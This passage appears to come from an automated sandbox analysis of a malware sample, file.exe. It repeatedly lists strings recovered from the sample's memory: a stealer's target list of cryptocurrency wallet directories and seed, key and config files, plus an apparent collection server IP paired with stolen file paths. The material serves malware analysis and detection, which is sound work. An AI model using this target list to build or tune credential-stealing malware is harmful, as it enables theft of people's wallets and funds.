Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\.finger-print.fpdE
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\MultiDoge\\multidoge.wallet
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 